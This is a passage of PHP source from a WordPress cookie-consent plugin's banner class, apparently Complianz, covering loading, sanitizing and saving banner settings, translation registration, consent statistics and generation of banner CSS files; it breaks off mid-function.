		public $banner_fields;
		public $logo_options;

        function __construct( $ID = false, $set_defaults = true, $load_wysiwyg_options = false ) {
	        if ( !get_option('cmplz_cbdb_version') ) {
		        //table not created yet.
		        return;
	        }
			$this->banner_fields = cmplz_add_cookiebanner_settings([]);
	        $this->translation_id = $this->get_translation_id();
	        $this->ID             = $ID;
	        $this->set_defaults   = $set_defaults;
	        $this->get($load_wysiwyg_options);
        }

		/**
		 * Add a new cookiebanner database entry
		 */

		private function add() {
			if ( ! cmplz_user_can_manage() ) {
				return;
			}
			$array = ['default'=>false];
			global $wpdb;
			//make sure we have at least one default banner
			$cookiebanners = $wpdb->get_results( "select * from {$wpdb->prefix}cmplz_cookiebanners as cb where cb.default = true" );
			if ( empty( $cookiebanners ) ) {
				$array['default'] = true;
			}
			$wpdb->insert(
				$wpdb->prefix . 'cmplz_cookiebanners',
				$array
			);

			$this->ID = $wpdb->insert_id;
		}

		/**
		 * Load the cookiebanner data
		 * If ID has value 'default', we get the one with the value 'default'
		 */

		private function get($load_wysiwyg_options) {
			global $wpdb;
			if ( (int) $this->ID > 0 ) {
				$cookiebanner = wp_cache_get('cmplz_cookiebanner_'.$this->ID, 'cmplz');
				if (!$cookiebanner) {
					$cookiebanner = $wpdb->get_row( $wpdb->prepare( "select * from {$wpdb->prefix}cmplz_cookiebanners where ID = %s", intval( $this->ID ) ) );
					wp_cache_set('cmplz_cookiebanner_'.$this->ID, $cookiebanner, 'cmplz');
				}
				if ( $cookiebanner ) {
					$this->banner_version = $cookiebanner->banner_version;
					$this->default        = $cookiebanner->default;
					foreach ( $cookiebanner as $fieldname => $value ) {
						//check if $this->{$fieldname} exists
						if ( property_exists( $this, $fieldname ) ) {
							$this->{$fieldname} = $this->parse_value( $fieldname, $value );
						}
					}
				}
			} else if ( $this->set_defaults ) {
				//in case there's no cookiebanner, we do this outside the loop
				foreach ( $this as $fieldname => $value ) {
					if ( property_exists( $this, $fieldname ) ) {
						$this->{$fieldname} = $this->parse_value( $fieldname, $value, true );
					}
				}
			}

			/**
			 * translate
			 */

			foreach ( $this as $fieldname => $value ) {
				if ( $this->is_translatable( $fieldname ) ) {
					if ( is_array( $value ) && isset( $value['text'] ) ) {
						$this->{$fieldname . '_x'}['text'] = $this->translate( $value['text'], $fieldname );
					} else if ( ! is_array( $value ) ) {
						$this->{$fieldname . '_x'} = $this->translate( $value, $fieldname );
					}
				}
			}

			if ( $this->use_categories === 'hidden' ) {
				$this->use_categories = 'view-preferences';
			}

			if ($load_wysiwyg_options) {
				$this->logo_options = $this->get_banner_logo(true);
			}
		}

		/**
		 * Get a value, with default if available
		 *
		 * @param string $fieldname
		 * @param mixed $value
		 * @param bool   $force_defaults
		 *
		 * @return mixed
		 */

		private function parse_value( string $fieldname, $value, bool $force_defaults=false ){
			$set_defaults = $this->set_defaults;
			//get type of field
			$type = $this->get_field_type($fieldname);
			$default = $this->get_default( $fieldname );
			//treat as string
			if ( $type === 'text' || $type === 'select' || $type === 'editor' ) {
				//on some websites, the previous value seems to be cached. We try to catch that here.
				//should be removed at some future point
				if ( $fieldname==='revoke' && is_serialized($value) ){
					$value = unserialize($value);
					$value = isset($value['text']) ? $value['text'] :__( "Manage consent", 'complianz-gdpr' );
				}
				if ( empty($value) && $set_defaults ) {
					$value = $default;
				}
			} else if ( $type === 'checkbox' ) {
				if ( ( $value === false && $set_defaults) || $force_defaults ) {
					$value = $default;
				}
			} else if ( $type === 'number' || $type === 'logo_attachment_id' ) {
				if ( empty($value) ) {
					$value = $default;
				} else {
					$value = (int) $value;
				}
			} else if ( $type === 'text_checkbox' || $type === 'colorpicker' || $type === 'borderradius' || $type === 'borderwidth') {
				//array types
				if ( is_serialized($value ) ) {
					$value = unserialize($value);
					//code to prevent duplicate upgrades
					$stop_check = false;
					foreach ($value as $key => $key_value ) {
						if ( $stop_check ) continue;
						if ( is_serialized( $key_value )) {
							$value = $this->get_default( $fieldname );
							$stop_check = true;
						}
					}
				}

				//strip out empty values in arrays, so the default gets set.
				if ( is_array($value) ) {
					//store 'show' index, to prevent losing the 'false' settings
					if ( $type !== 'text_checkbox') {
						$value = array_filter($value, function($arr_value) {
							return ($arr_value !== null && $arr_value !== false && $arr_value !== '');
						});
					}
				} else {
					$value = [];
				}

				if ( is_array($default) ) {
					foreach ( $default as $key => $default_arr_value ) {
						//if the key is not set, we set the default
						if ( !isset($value[$key]) ) {
							$value[$key] = $default_arr_value;
						} else {
							//key is set. We only set the default, if it's empty and set_defaults is true
							if ( $key !== 'show' && $value[$key] === '' && $set_defaults ) {
								$value[$key] = $default_arr_value;
							}
						}
					}
				}

			} else if ( $type === 'css' ) {
				$value = !empty($value) ? htmlspecialchars_decode( $value ) : '';
				if (empty($value) && $set_defaults) {
					$value = $default;
				}
			}

			if ( $this->is_translatable( $fieldname ) ) {
				$this->{$fieldname . '_x'} = $this->translate($value, $fieldname);
			}

			return $value;
		}

		/**
		 * Check if a field is translatable
		 * @param string $fieldname
		 *
		 * @return bool
		 */

		private function is_translatable($fieldname) {
			if (property_exists($this, $fieldname.'_x')) {
				return true;
			}

			return false;
		}

		/**
		 * translate field
		 *
		 * @param string|array $value
		 * @param string $fieldname
		 *
		 * @return string|array
		 */

		private function translate( $value, $fieldname ) {
			$translate_string = $value;
			if ( is_array($value) && isset($value['text']) ) {
				$translate_string = $value['text'];
			}

			//e.g. When elementor integration is active, preferences may pass an array without the text entry here, causing an error with WPML
			if ( is_array( $translate_string ) ) {
				return '';
			}

			$key = $this->translation_id;
			if ( function_exists( 'pll__' ) ) {
				$translate_string = pll__( $translate_string );
			}

			if ( function_exists( 'icl_translate' ) ) {
				$translate_string = icl_translate( 'complianz', $fieldname . $key, $translate_string );
			}

			$translate_string = apply_filters( 'wpml_translate_single_string', $translate_string, 'complianz', $fieldname . $key );

			if ( is_array($value) && isset($value['text']) ) {
				$value['text'] = $translate_string;
			} else {
				$value = $translate_string;
			}
			return $value;
		}

		/**
		 * Register a translation
		 * @param string|array $string
		 * @param string $fieldname
		 */

		private function register_translation( $string, $fieldname ) {
			if (isset($string['text'])) {
				$string = $string['text'];
			}

			//e.g. When elementor integration is active, preferences may pass an array without the text entry here, causing an error with WPML
			if ( is_array( $string ) || is_serialized($string)) {
				return;
			}

			$key = $this->translation_id;
			//polylang
			if ( function_exists( "pll_register_string" ) ) {
				pll_register_string( $fieldname . $key, $string, 'complianz' );
			}

			//wpml
			if ( function_exists( 'icl_register_string' ) ) {

				icl_register_string( 'complianz', $fieldname . $key, $string );
			}

			do_action( 'wpml_register_single_string', 'complianz', $fieldname, $string );
		}

		/**
		 * Get a prefix for translation registration
		 * For backward compatibility we don't use a key when only one banner, or when the lowest.
		 * If we don't use this, all field names from each banner will be the same, registering won't work.
		 *
		 * @return string
		 */

		public function get_translation_id() {
			//if this is the banner with the lowest ID's, no ID
			$lowest = cmplz_get_transient('cmplz_min_banner_id');
			if ( !$lowest ){
				global $wpdb;
				$lowest = $wpdb->get_var( "select min(ID) from {$wpdb->prefix}cmplz_cookiebanners" );
				cmplz_set_transient('cmplz_min_banner_id', $lowest, HOUR_IN_SECONDS );
			}
			if ( $lowest == $this->ID ) {
				return '';
			}
			return $this->ID;
		}

		/**
		 * Get a default value
		 *
		 * @param string $fieldname
		 * @param bool|string   $key
		 *
		 * @return mixed
		 */

		private function get_default( string $fieldname, $key=false ) {
			$field = array_filter($this->banner_fields, static function($value) use ($fieldname) {
				return $value['id'] === $fieldname;
			});
			$field = reset($field);

			if ($key) {
				return $field['default'][ $key ] ?? '';
			}

			return $field['default'] ?? '';
		}

		/**
		 * Get the type of a field
		 * @param string $fieldname
		 *
		 * @return string
		 */
		private function get_field_type( string $fieldname ) {
			$field = array_filter($this->banner_fields, static function($value) use ($fieldname) {
				return $value['id'] === $fieldname;
			});
			$field = reset($field);
			return $field['type'] ?? 'none';
		}

		/**
		 * Save the edited data in the object
		 *
		 * @return void
		 */

		public function save() {
			if ( !cmplz_user_can_manage() && !wp_doing_cron() ) {
				return;
			}
			if ( ! $this->ID ) {
				$this->add();
			}
			$this->banner_version++;

			//register translations fields
			foreach ( $this as $fieldname => $value ) {
				if ( $this->is_translatable( $fieldname )) {
					$this->register_translation( $this->{$fieldname}, $fieldname );
				}
			}

			if ( ! is_array( $this->statistics ) ) {
				$this->statistics = array();
			}

			$statistics   = serialize( $this->statistics );
			if ( $this->use_categories === 'hidden' ) {
				$this->use_categories = 'view-preferences';
			}

			if ( !$this->disable_cookiebanner && cmplz_get_option('enable_cookie_banner') === 'no' ) {
				cmplz_update_option_no_hooks('enable_cookie_banner', 'yes');
			}

			$update_array = array(
				'title'                        => sanitize_text_field( $this->title ),
				'position'                     => $this->sanitize_position( $this->position ),
				'banner_version'               => $this->banner_version,
				'checkbox_style'               => $this->sanitize_checkbox_style( $this->checkbox_style ),
				'use_logo'                     => sanitize_text_field( $this->use_logo ),
				'logo_attachment_id'           => (int) $this->logo_attachment_id,
				'close_button'                 => (int) $this->close_button,
				'category_functional'          => sanitize_text_field( $this->category_functional ),
				'category_prefs'               => $this->sanitize_text_checkbox( $this->category_prefs ),
				'category_stats'               => $this->sanitize_text_checkbox( $this->category_stats ),
				'category_all'                 => $this->sanitize_text_checkbox( $this->category_all ),
				'header'                       => $this->sanitize_text_checkbox( $this->header ),
				'dismiss'                      => $this->sanitize_text_checkbox( $this->dismiss ),
				'revoke'                       => sanitize_text_field( $this->revoke ),
				'manage_consent_options'       => $this->sanitize_manage_consent( $this->manage_consent_options ),
				'save_preferences'             => sanitize_text_field( $this->save_preferences ),
				'view_preferences'             => sanitize_text_field( $this->view_preferences ),
				'accept'                       => sanitize_text_field( $this->accept ),
				'message_optin'                => wp_kses( $this->message_optin, cmplz_allowed_html() ),
				'use_categories'               => sanitize_text_field( $this->use_categories ),
				'disable_cookiebanner'         => (bool) ( $this->disable_cookiebanner ),
				'banner_width'                 => (int) $this->banner_width,
				'soft_cookiewall'              => (bool) $this->soft_cookiewall,
				'dismiss_on_scroll'            => (int) $this->dismiss_on_scroll,
				'dismiss_on_timeout'           => (int) $this->dismiss_on_timeout,
				'dismiss_timeout'              => (int) $this->dismiss_timeout,
				'font_size'                    => (int) $this->font_size,
				'accept_informational'         => $this->sanitize_text_checkbox( $this->accept_informational ),
				'message_optout'               => wp_kses( $this->message_optout, cmplz_allowed_html() ),
				'use_custom_cookie_css'        => (int) $this->use_custom_cookie_css,
				'custom_css'                   => $this->custom_css,
				'statistics'                   => $statistics,
				'functional_text'              => $this->sanitize_text_checkbox( $this->functional_text ),
				'preferences_text'             => $this->sanitize_text_checkbox( $this->preferences_text ),
				'statistics_text'              => $this->sanitize_text_checkbox( $this->statistics_text ),
				'statistics_text_anonymous'    => $this->sanitize_text_checkbox( $this->statistics_text_anonymous ),
				'marketing_text'               => $this->sanitize_text_checkbox( $this->marketing_text ),
				'colorpalette_background'      => $this->sanitize_hex_array( $this->colorpalette_background ),
				'colorpalette_text'            => $this->sanitize_hex_array( $this->colorpalette_text ),
				'colorpalette_toggles'         => $this->sanitize_hex_array( $this->colorpalette_toggles ),
				'colorpalette_border_radius'   => $this->sanitize_int_array( $this->colorpalette_border_radius ),
				'border_width'                 => $this->sanitize_int_array( $this->border_width ),
				'colorpalette_button_accept'   => $this->sanitize_hex_array( $this->colorpalette_button_accept ),
				'colorpalette_button_deny'     => $this->sanitize_hex_array( $this->colorpalette_button_deny ),
				'colorpalette_button_settings' => $this->sanitize_hex_array( $this->colorpalette_button_settings ),
				'buttons_border_radius'        => $this->sanitize_int_array( $this->buttons_border_radius ),
				'animation'                    => $this->sanitize_animation( $this->animation ),
				'use_box_shadow'               => (int) $this->use_box_shadow,
				'header_footer_shadow'         => (int) $this->header_footer_shadow,
				'hide_preview'                 => (int) $this->hide_preview,
				'disable_width_correction'     => (int) $this->disable_width_correction,
				'legal_documents'                   => (int) $this->legal_documents,
			);
			global $wpdb;
			$updated = $wpdb->update( $wpdb->prefix . 'cmplz_cookiebanners',
				$update_array,
				array( 'ID' => $this->ID )
			);

			if ( $updated === 0 ) {
				if ( !get_option( 'cmplz_generate_new_cookiepolicy_snapshot') ) update_option( 'cmplz_generate_new_cookiepolicy_snapshot', time(), false );
			}

			//get database value for "default"
			$db_default = $wpdb->get_var( $wpdb->prepare( "select cdb.default from {$wpdb->prefix}cmplz_cookiebanners as cdb where cdb.ID=%s", $this->ID ) );
			if ( $this->default && ! $db_default ) {
				$this->enable_default();
			} elseif ( ! $this->default && $db_default ) {
				$this->remove_default();
			}
			wp_cache_delete('cmplz_cookiebanner_'.$this->ID, 'cmplz');
			cmplz_delete_transient('cmplz_min_banner_id');
			cmplz_delete_transient('cmplz_default_banner_id');

			$this->generate_css();
		}

		/**
		 * Sanitize position
		 * @param $pos
		 *
		 * @return string
		 */
		private function sanitize_position($pos): string {
			$p = [
				'center',
				'bottom',
				'bottom-left',
				'bototm-right',
			];
			if ( in_array( $pos, $p, true ) ) return $pos;
			return 'bottom-right';
		}

		private function sanitize_animation($animation): string {
			$a = [
				'none',
				'fade',
				'slide',
			];
			if ( in_array( $animation, $a, true ) ) return $animation;
			return 'none';
		}

		private function sanitize_manage_consent($manage_consent): string {
			$m = [
				'hover-hide-mobile',
				'hover-show-mobile',
				'show-everywhere',
				'hide-everywhere',
			];
			if ( in_array( $manage_consent, $m, true ) ) return $manage_consent;
			return 'hover-hide-mobile';
		}

		private function sanitize_checkbox_style($checkbox){
			$c = ['slider', 'classic'];
			if ( in_array( $checkbox, $c, true ) ) return $checkbox;
			return 'slider';
		}

		/**
		 * Sanitize an array or string as hex
		 * @param array|string $hex
		 *
		 * @return string|array
		 */
		public function sanitize_hex_array( $hex ) {
			if ( is_array($hex) ) {
				$hex = serialize( array_map('sanitize_hex_color', $hex ) );
			} else {
				$hex = sanitize_hex_color($hex);
			}
			return $hex;
		}

		/**
		 * Sanitize text checkbox field
		 */
		public function sanitize_text_checkbox( $text_checkbox ) {
			if ( isset( $text_checkbox['text'], $text_checkbox['show'] ) ) {
				$text_checkbox = [
					'text' => sanitize_text_field($text_checkbox['text']),
					'show' => (int) $text_checkbox['show'],
				];
			} else {
				$text_checkbox = [
					'text' => "",
					'show' => true,
				];
			}


			return serialize($text_checkbox);
		}

		/**
		 * Sanitize an array or int as int
		 *
		 * @param $int
		 *
		 * @return int|array
		 */
		public function sanitize_int_array( $int ) {
			$store_type = false;
			if ( is_array($int) ) {
				if (isset($int['type'])) {
					$store_type = $int['type'];
				}
				$int = array_map('intval', $int );
				if ($store_type){
					$int['type'] = $store_type;
				}
				$int = serialize(  $int );
			} else {
				$int = intval($int);
			}
			return $int;
		}

		/**
		 * santize the css to remove any commented or empty classes
		 *
		 * @param string $css
		 *
		 * @return string
		 */

		private function sanitize_css( $css ) {
			$css = preg_replace( '/\/\*(.|\s)*?\*\//i', '', $css ); //comments
			$css = preg_replace( '/\..*{}/i', '', $css );//empty classes from custom css
			$css = str_replace(array("\r", "\n"), '', $css); //line breaks
			$css = preg_replace('/\s+/', ' ', $css); //duplicate spaces
			$css = trim( $css );
			return $css;
		}

		/**
		 * Delete a cookie variation
		 *
		 * @return bool $success
		 * @since 2.0
		 */

		public function delete( $force = false ) {
			if ( ! cmplz_user_can_manage() ) {
				return false;
			}

			$error = false;
			global $wpdb;

			//do not delete the last one.
			$count
				= $wpdb->get_var( "select count(*) as count from {$wpdb->prefix}cmplz_cookiebanners" );
			if ( $count == 1 && ! $force ) {
				$error = true;
			}

			if ( ! $error ) {
				if ( $this->default ) {
					$this->remove_default();
				}

				$wpdb->delete( $wpdb->prefix . 'cmplz_cookiebanners', array(
					'ID' => $this->ID,
				) );

				//clear all statistics regarding this banner
				$sql = $wpdb->prepare( "UPDATE {$wpdb->prefix}cmplz_statistics SET cookiebanner_id = 0 where poc_url=%s", $this->ID) ;
				$wpdb->query($sql);
			}

			return ! $error;
		}

		/**
		 * Get available categories
		 * @param bool $labels
		 * @param bool $exclude_no_warning
		 * @return array
		 */

		public function get_available_categories( $labels = true, $exclude_no_warning = false){
			$available_cats = [];

			$available_cats['functional'] = __("Functional", "complianz-gdpr");

			if ( cmplz_uses_preferences_cookies() ) {
				$available_cats['preferences'] = __("Preferences", "complianz-gdpr");
			}

			if ( cmplz_uses_statistic_cookies() ) {
				$available_cats['statistics'] = __( "Statistics", "complianz-gdpr" );
			}

			if ( cmplz_uses_marketing_cookies() ) {
				$available_cats['marketing'] = __("Marketing", "complianz-gdpr");
			}


			//get all categories
			$available_cats['do_not_track'] = __("Do Not Track", "complianz-gdpr");
			$available_cats['no_choice'] = __("No Choice", "complianz-gdpr");

			if ( ! $exclude_no_warning && cmplz_get_option( 'use_country' )) {
				$available_cats['no_warning'] = __("No Warning", "complianz-gdpr");
			}
			if ( !$labels ) {
				$available_cats = array_keys( $available_cats );
			}
			return $available_cats;
		}

		/**
		 * Check if current banner is the default, and if so move it to another banner.
		 */

		public function remove_default() {
			if ( cmplz_user_can_manage() ) {

				global $wpdb;
				//first, set one  of the other banners random to default.
				$cookiebanners = $wpdb->get_results( "select * from {$wpdb->prefix}cmplz_cookiebanners as cb where cb.default = false LIMIT 1" );
				if ( ! empty( $cookiebanners ) ) {
					$wpdb->update( $wpdb->prefix . 'cmplz_cookiebanners',
						array( 'default' => true ),
						array( 'ID' => $cookiebanners[0]->ID )
					);
				}

				//now set this one to not default and save
				$wpdb->update( $wpdb->prefix . 'cmplz_cookiebanners',
					array( 'default' => false ),
					array( 'ID' => $this->ID )
				);

			}
		}

		/**
		 * Check if current banner is not default, and if so disable the current default
		 */

		public function enable_default() {
			if ( cmplz_user_can_manage() ) {

				global $wpdb;
				//first set the current default to false
				$cookiebanners = $wpdb->get_results( "select * from {$wpdb->prefix}cmplz_cookiebanners as cb where cb.default = true LIMIT 1" );
				if ( ! empty( $cookiebanners ) ) {
					$wpdb->update( $wpdb->prefix . 'cmplz_cookiebanners',
						array( 'default' => false ),
						array( 'ID' => $cookiebanners[0]->ID )
					);
				}

				//now set this one to default
				$wpdb->update( $wpdb->prefix . 'cmplz_cookiebanners',
					array( 'default' => true ),
					array( 'ID' => $this->ID )
				);
			}

		}

		/**
		 * @param $statistics
		 *
		 * @return mixed
		 */

		public function report_conversion_count( $statistics ) {
			return $statistics['all'];
		}


		/**
		 * Get the conversion to marketing for a cookie banner
		 * @param string $filter_consenttype
		 * @return float percentage
		 */

		public function conversion_percentage( $filter_consenttype ) {

			$categories = $this->get_available_categories();
			$revers_arr = array_reverse($categories);
			$highest_level_cat = array_key_first($revers_arr);
			$conversion_count = $this->get_count( $highest_level_cat, $filter_consenttype );
			$total = $this->get_count( 'all', $filter_consenttype );
			$total = ( $total == 0 ) ? 1 : $total;
			return ROUND( 100 * ( $conversion_count / $total ) );

		}

		/**
		 * Get the count for this category and consent type.
		 *
		 * @param string $consent_category
		 * @param string $consenttype
		 *
		 * @return int $count
		 */

		public function get_count( $consent_category, $consenttype ) {
			global $wpdb;
			$available_categories  = $this->get_available_categories( false );
			$ab_testing_start_time = get_option('cmplz_tracking_ab_started');

			//sanitize status
			if ( $consent_category !== 'all' && !in_array( $consent_category, $available_categories ) ) return 0;

			//category
			$category_sql = '';
			if ($consent_category !== 'all') $category_sql = " AND $consent_category = 1";

			$consenttype_sql = " AND consenttype='$consenttype'";
			if ( $consenttype === 'all' ) {
				$consenttypes    = cmplz_get_used_consenttypes();
				$consenttype_sql = " AND (consenttype='" . implode( "' OR consenttype='", $consenttypes ) . "')";
			}

			$sql = $wpdb->prepare("SELECT count(*) from {$wpdb->prefix}cmplz_statistics WHERE time> %s $category_sql $consenttype_sql" , $ab_testing_start_time );

			if ( cmplz_ab_testing_enabled() ) {
				$sql = $wpdb->prepare( $sql . " AND cookiebanner_id=%s", $this->ID );
			}
			return $wpdb->get_var( $sql );
		}

		/**
		 * Get Logo url for the banner
		 *
		 * @return string|array
		 */
		public function get_banner_logo($all_variants = false )
		{
			$logo = "";
			if ($all_variants) {
				$custom_image = wp_get_attachment_image($this->logo_attachment_id, 'cmplz_banner_image', false, ['alt' => get_bloginfo('name') ]);
				if (empty($custom_image)) {
					$custom_image = '<img src="'.cmplz_url.'/assets/images/placeholders/default-light.jpg" class="attachment-cmplz_banner_image size-cmplz_banner_image" alt="placeholder" loading="lazy" />';
				}
				return array(
					'complianz' => file_get_contents(trailingslashit(cmplz_path) . 'assets/images/poweredbycomplianz.svg'),
					'site' => get_custom_logo(),
					'custom' => $custom_image,
				);
			}
			switch ($this->use_logo) {
				case 'complianz':
					$logo = file_get_contents(trailingslashit(cmplz_path) . 'assets/images/poweredbycomplianz.svg');
					break;
				case 'site':
					$logo = get_custom_logo();
					break;
				case 'custom':
					$logo = wp_get_attachment_image($this->logo_attachment_id, 'cmplz_banner_image', false, ['alt' => get_bloginfo('name') ]);
			}

			return $logo;
		}


		/**
		 * Get array to output to front-end
		 *
		 * @return array
		 */

		public function get_html_settings() {
			$output = array(
				'id'                        => $this->ID,
				'title_class'               => sanitize_title($this->title),
				'logo'                      => $this->get_banner_logo(),
				'header'                    => $this->header_x,
				'accept_optin'              => $this->accept_x,
				'accept_optout'             => $this->accept_informational_x,
				'manage_consent'            => $this->revoke_x,
				'manage_options'            => $this->view_preferences_x,
				'save_settings'             => $this->save_preferences_x,
				'dismiss'                   => $this->dismiss_x,
				'message_optout'            => $this->message_optout_x,
				'message_optin'             => $this->message_optin_x,
				'category_functional'       => $this->category_functional_x,
				'category_preferences'      => $this->category_prefs_x,
				'category_statistics'       => $this->category_stats_x,
				'functional_text'           => $this->functional_text_x,
				'statistics_text'           => $this->statistics_text_x,
				'statistics_text_anonymous' => $this->statistics_text_anonymous_x,
				'preferences_text'          => $this->preferences_text_x,
				'marketing_text'            => $this->marketing_text_x,
				'category_marketing'        => $this->category_all_x,
				'position'                  => $this->position,
				'manage_consent_options'    => $this->manage_consent_options,
				'use_categories'            => $this->use_categories,
			);
			$output = apply_filters( 'cmplz_cookiebanner_settings_html', $output, $this );
			return apply_filters( 'cmplz_cookiebanner_settings', $output, $this );
		}

		/**
		 * Get list of required CSS modules
		 * @param string $consent_type
		 * @param bool $preview
		 * @return array
		 */
		function get_css_file_modules($consent_type, $preview)
		{
			//using minified files causes issue when using the slider version.
			$minified = '';//( defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ) ? '' : '.min';
			// Main and Position
			$css_files = [
				"reset$minified.css",
				"cookiebanner$minified.css",
			];

			$css_files[] = "$consent_type$minified.css";
			$css_files[] = "positions/{$this->position}$minified.css";
			if ( !cmplz_tcf_active() || $consent_type === 'optout' ) {
				if ( $this->use_categories === "no" ) {
					$css_files[] = "categories/accept-deny$minified.css";
				} else if ( $this->use_categories === "save-preferences" ) {
					$css_files[] = "categories/save-preferences$minified.css";
				} else {
					$css_files[] = "categories/view-preferences$minified.css";
				}
			}

			if ( cmplz_get_option( 'consent_per_service' ) !== 'yes' ) {
				$css_files[] = "settings/hide-manage-services$minified.css";
			}
			if ( cmplz_tcf_active() ) {
				$css_files[] = "tcf$minified.css";
			}
			// Animation
			if ( !$preview && $this->animation !== 'none' ) {
				if ( $this->animation === "slide" ) {
					$css_files[] = "settings/animation/{$this->position}-slide$minified.css";
				} else {
					$css_files[] = "settings/animation/{$this->animation}$minified.css";
				}
			}
			if ( isset($this->functional_text['show']) && !$this->functional_text['show'] )  $css_files[] = "settings/categories/hide-functional_text$minified.css";
			if ( ( isset( $this->category_prefs['show'] ) && ! $this->category_prefs['show'] ) || !cmplz_uses_preferences_cookies() ) $css_files[] = "settings/categories/hide-preferences$minified.css";
			if ( ( isset( $this->category_stats['show'] ) && ! $this->category_stats['show'] ) || !cmplz_uses_statistic_cookies() ) $css_files[] = "settings/categories/hide-statistics$minified.css";
			if ( ( isset( $this->category_all['show'] ) && ! $this->category_all['show'] ) || !cmplz_uses_marketing_cookies() )  $css_files[] = "settings/categories/hide-marketing$minified.css";
			if ( isset($this->preferences_text['show']) && !$this->preferences_text['show'] )  $css_files[] = "settings/categories/hide-preferences_text$minified.css";
			if ( isset($this->statistics_text['show']) && !$this->statistics_text['show'] )  $css_files[] = "settings/categories/hide-statistics_text$minified.css";
			if ( isset($this->statistics_text_anonymous['show']) && !$this->statistics_text_anonymous['show'] )  $css_files[] = "settings/categories/hide-statistics_text$minified.css";
			if ( isset($this->marketing_text['show']) && !$this->marketing_text['show'] )  $css_files[] = "settings/categories/hide-marketing_text$minified.css";
			if ( $consent_type==='optout' && isset($this->accept_informational['show']) && !$this->accept_informational['show'] ) $css_files[] = "settings/hide-accept$minified.css";
			if ( isset($this->dismiss['show']) && !$this->dismiss['show'] ) $css_files[] = "settings/hide-deny$minified.css";
			if ( isset($this->header['show']) && !$this->header['show'] ) $css_files[] = "settings/hide-title$minified.css";
			$css_files[] = "settings/$this->manage_consent_options$minified.css";

			if ( $this->use_logo === "hide" ) 	        $css_files[] = "settings/hide-logo$minified.css";
			if ( !$this->close_button ) 		 	    $css_files[] = "settings/hide-close$minified.css";
			if ( $this->checkbox_style === "slider" )   $css_files[] = "settings/toggle-slider$minified.css";
			if ( !$this->legal_documents ) $css_files[] = "settings/hide-links$minified.css";

			// Soft cookie wall
			if ( $this->soft_cookiewall ) $css_files[] = "settings/soft-cookie-wall$minified.css";

			// Shadow
			if ( $this->use_box_shadow )
				$css_files[] = "settings/shadow$minified.css";
			if ( $this->header_footer_shadow ) $css_files[] = "settings/header-footer-shadow$minified.css";

			//hide complete header if logo, title and close are hidden.
			if ( (!isset($this->header['show']) || !$this->header['show'])
				&& !$this->close_button
				&& $this->use_logo === 'hide'
			) {
				$css_files[] = "settings/hide-header$minified.css";
			}

			if ( cmplz_statistics_privacy_friendly() ) {
				$css_files[] = 'anonymous-stats.css';
			}
			return apply_filters('cmplz_banner_css_files', $css_files);
		}

		public function get_array_value($field, $key = false ){
			if ( $key ) {
				$value = $this->{$field}[ $key ] ?? $this->get_default( $field, $key );
			} else {
				$value = $this->{$field};
			}
			return $value;
		}

		public function get_css_settings() {
			$output = array(
				"banner_background_color" => $this->colorpalette_background['color'] ?? '',
				"banner_border_color" => $this->colorpalette_background['border'] ?? '',
				"banner_border_width" => $this->get_border_width(),
				"banner_width" => $this->banner_width.'px',
				"text_font_size" => $this->font_size.'px',
				"link_font_size" => $this->font_size.'px',
				"category_body_font_size" => $this->font_size.'px',
				"banner_border_radius" => $this->get_border_radius($this->colorpalette_border_radius),
				"text_color" => $this->colorpalette_text['color'] ?? '',
				"hyperlink_color" => $this->colorpalette_text['hyperlink'] ?? '',
				"category_header_always_active_color" => "green",
				"button_accept_background_color" => $this->colorpalette_button_accept['background'] ?? '',
				"button_accept_border_color" => $this->colorpalette_button_accept['border'] ?? '',
				"button_accept_text_color" => $this->colorpalette_button_accept['text'] ?? '',
				"button_deny_background_color" => $this->colorpalette_button_deny['background'] ?? '',
				"button_deny_border_color" => $this->colorpalette_button_deny['border'] ?? '',
				"button_deny_text_color" => $this->colorpalette_button_deny['text'] ?? '',
				"button_settings_background_color" => $this->colorpalette_button_settings['background'] ?? '',
				"button_settings_border_color" => $this->colorpalette_button_settings['border'] ?? '',
				"button_settings_text_color" => $this->colorpalette_button_settings['text'] ?? '',
				"button_border_radius" => $this->get_border_radius($this->buttons_border_radius),
				"slider_active_color" => $this->colorpalette_toggles['background'] ?? '',
				"slider_inactive_color" => $this->colorpalette_toggles['inactive'] ?? '',
				"slider_bullet_color" => $this->colorpalette_toggles['bullet'] ?? '',
				"category_open_icon_url" => "url(".trailingslashit( cmplz_url)."assets/images/chevron-down.svg)",
			);
			$output = apply_filters( 'cmplz_cookiebanner_settings_css', $output, $this );
			return apply_filters( 'cmplz_cookiebanner_settings', $output, $this );
		}

		/**
		 * Generate the css file for the banner
		 * @param bool $preview
		 */
		public function generate_css( $preview = false ): void {
			if (get_transient('cmplz_generate_css_active')) {
				return;
			}
			set_transient('cmplz_generate_css_active', true, 10 );
			$upload_dir = cmplz_upload_dir('css');
			$consent_types = cmplz_get_used_consenttypes();
			//when there's nothing yet, get the default
			if (empty($consent_types)) {
				$consent_types = [COMPLIANZ::$company->get_default_consenttype()];
			}
			$settings = $this->get_css_settings();
			$banner_id = $this->ID ?: 'new';
			foreach ( $consent_types as $consent_type ) {
				$css_files = $this->get_css_file_modules($consent_type, $preview);
				$css = "";
				foreach ($css_files as $css_file) {
					$file_path = trailingslashit(cmplz_path) . "cookiebanner/css/$css_file";
					if ( file_exists($file_path) ) {
						$css .= file_get_contents($file_path) . "\n";
					}
				}

				if ( $this->use_custom_cookie_css ) {
					$css .=  $this->custom_css;
				}

				$category_count = 3;//functional is always available, so does not count here
				if ( ( isset( $this->category_prefs['show'] ) && ! $this->category_prefs['show'] ) || !cmplz_uses_preferences_cookies() ) {
					$category_count--;
				}
				if ( ( isset( $this->category_stats['show'] ) && ! $this->category_stats['show'] ) || !cmplz_uses_statistic_cookies() ) {
					$category_count--;
				}
				if ( ( isset( $this->category_all['show'] ) && ! $this->category_all['show'] ) || !cmplz_uses_marketing_cookies() )  {
					$category_count--;
				}
				$remove_count = 3 - $category_count;//functional always exists
				$height = 216 - $remove_count * 53;
				$settings['categories-height'] = $height.'px';
				foreach ($settings as $setting => $value) {
					$css = preg_replace("/--cmplz_$setting:[^;]*;/", "--cmplz_$setting: $value;", $css, 1);
				}

				ob_start();
				do_action("cmplz_banner_css");
				$css .= "\n" . ob_get_clean()."\n";
				$css = $this->sanitize_css( apply_filters('cmplz_cookiebanner_css', $css) );
				$file = $preview ? "{$upload_dir}banner-preview-{$banner_id}-$consent_type.css" : "{$upload_dir}banner-{$banner_id}-$consent_type.css";
				if ( file_exists($upload_dir) && is_writable($upload_dir) ){
					$handle = fopen($file, 'wb' );
					fwrite($handle, $css);
					fclose($handle);
				}
